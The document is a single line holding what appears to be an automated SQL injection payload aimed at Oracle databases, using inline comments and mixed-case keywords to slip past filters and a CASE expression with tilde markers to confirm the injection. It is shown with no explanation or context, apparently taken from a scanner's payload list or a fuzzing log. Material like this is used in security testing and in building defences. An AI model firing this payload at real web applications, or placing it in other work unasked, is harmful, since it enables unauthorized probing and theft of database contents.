1AND/**/1212=(SELect/**/upPEr(Chr(126)||~||(sElECT/**/(caSe/**/When/**/(1212=1212)/**/theN/**/1/**/elsE/**/0/**/eND)/**/fRom/**/DUal)||~||cHR(126))/**/frOM/**/dUAL/**/whERe/**/dbms_raNDOM.Value(9670,5021)=2591)# 1